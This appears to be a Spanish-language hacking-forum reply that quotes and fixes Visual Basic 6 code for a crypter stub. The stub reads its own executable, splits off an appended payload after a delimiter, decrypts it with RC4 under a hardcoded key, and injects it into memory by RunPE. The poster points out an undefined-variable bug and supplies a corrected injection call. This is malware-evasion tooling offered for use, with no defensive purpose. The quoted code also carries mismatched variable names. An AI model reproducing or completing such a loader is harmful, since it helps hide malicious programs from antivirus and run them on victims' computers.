Perdon, hago doble post porque no pude editarlo. Se me olvido modificar esta ultima parte porque elimine la var. "Yo"Fakedo0r escribió:--------------------Código: Seleccionar todo
'Declaramos las vars. Dim bDatos() As Byte Dim sDatos As String Dim sTemp() As String 'Nos autoabrimos, obtenemos los datos y nos cerramos Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 Datos = Space(LOF(1)) Get #1, , Datos Close #1 'Usamos la funcion "split" para separar los datos con el delimitador "##$$##" sTemp() = Split(Datos, "##$$##") 'Desencriptamos el archivo encriptado sData(1) = RC4(sData(1), "PASS") 'Convertimos el archivo desencriptado y mediante el Runpe lo cargamos en la memoria Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString
Tu error : sData(1) = RC4(sData(1), sData(2)) El sData(2) no existe.
PD: Tienes que leer manuales porque aunque te lo tabule todo asi no te vas a enterar de nada sin saber lo basico de vb6.
Saludos
Código: Seleccionar todo
'Convertimos el archivo desencriptado y mediante el Runpe lo cargamos en la memoria
Injec App.Path & "\" & App.EXEName & ".exe" , StrConv(sData(1), vbFromUnicode), vbNullStringSaludos
